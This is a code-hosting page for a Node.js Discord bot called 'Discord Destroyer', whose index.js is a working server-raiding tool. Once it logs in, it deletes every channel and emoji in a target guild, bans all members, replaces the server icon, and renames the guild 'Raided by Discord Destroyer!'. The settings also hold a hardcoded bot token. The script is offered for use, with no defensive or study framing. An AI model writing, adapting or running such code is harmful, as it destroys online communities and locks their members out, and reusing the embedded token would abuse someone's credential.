Nodejs

No description

fork
loading
Files
  • index.js
  • package-lock.json
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
// Initialise a client and Discord object.

const Discord = require("discord.js");

const client = new Discord.Client();



// Get Discord Destroyer version.

const packageVersion = require("./package.json").version;



// Settings for the bot.

const settings = {

    botToken: "NiR2Xe4p_TfXJwqOXZD0e9Mb1WyaC_k9",

    guildID: "YOUR GUILD ID HERE",

    guildName: "Raided by Discord Destroyer!"

};



// Startup message,

console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Starting Discord Destroyer, Version: ${packageVersion}. ~(˘▾˘~)`);



// Once the bot is ready start destroying the guild!

client.once('ready', () => {

    // Success msg.

    console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Logged in as ${client.user.tag}. (^o^)/`);



    // Get the guild using the ID.

    let guild = client.guilds.get(settings.guildID);



    // Delete all channels.

    guild.channels.forEach(c => {

        c.delete();

        console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Deleted channel ${c.name}; ID: ${c.id}. (╯°□°)╯︵ ┻━┻`);

    });



    // Delete all emojis.

    guild.emojis.forEach(e => {

        guild.deleteEmoji(e);

        console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Deleted emoji ${e.name}; ID: ${e.id}. (╯°□°)╯︵ ┻━┻`);

    });



    // Ban all users.

    guild.members.forEach(m => {

        m.ban();

        console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Banned ${m.user.username}; ID: ${m.id}. (╯°□°)╯︵ ┻━┻`);

    });



    // Set the guild icon to nothing.

    guild.setIcon("https://china.hacked-my.computer/95314b55.png");



    // Set the guild name to the desired name.

    guild.setName(settings.guildName);

    

    // Success prompt.

    console.info("\x1b[37m\x1b[42mSuccess\x1b[0m: Operation completed! (^_^)/~");

})



// Login into the bot.

client.login(settings.botToken);



// Some handle uncaught exceptions.

process.on("uncaughtException", err => {

    console.error("\x1b[37m\x1b[41mERROR\x1b[0m: An unknown and unexpected error occurred! x.x.", err);

    process.exit(1);

});



// Some what handle unhandled rejections.

process.on("unhandledRejection", err => {

    process.exit(1);

});
node v10.16.0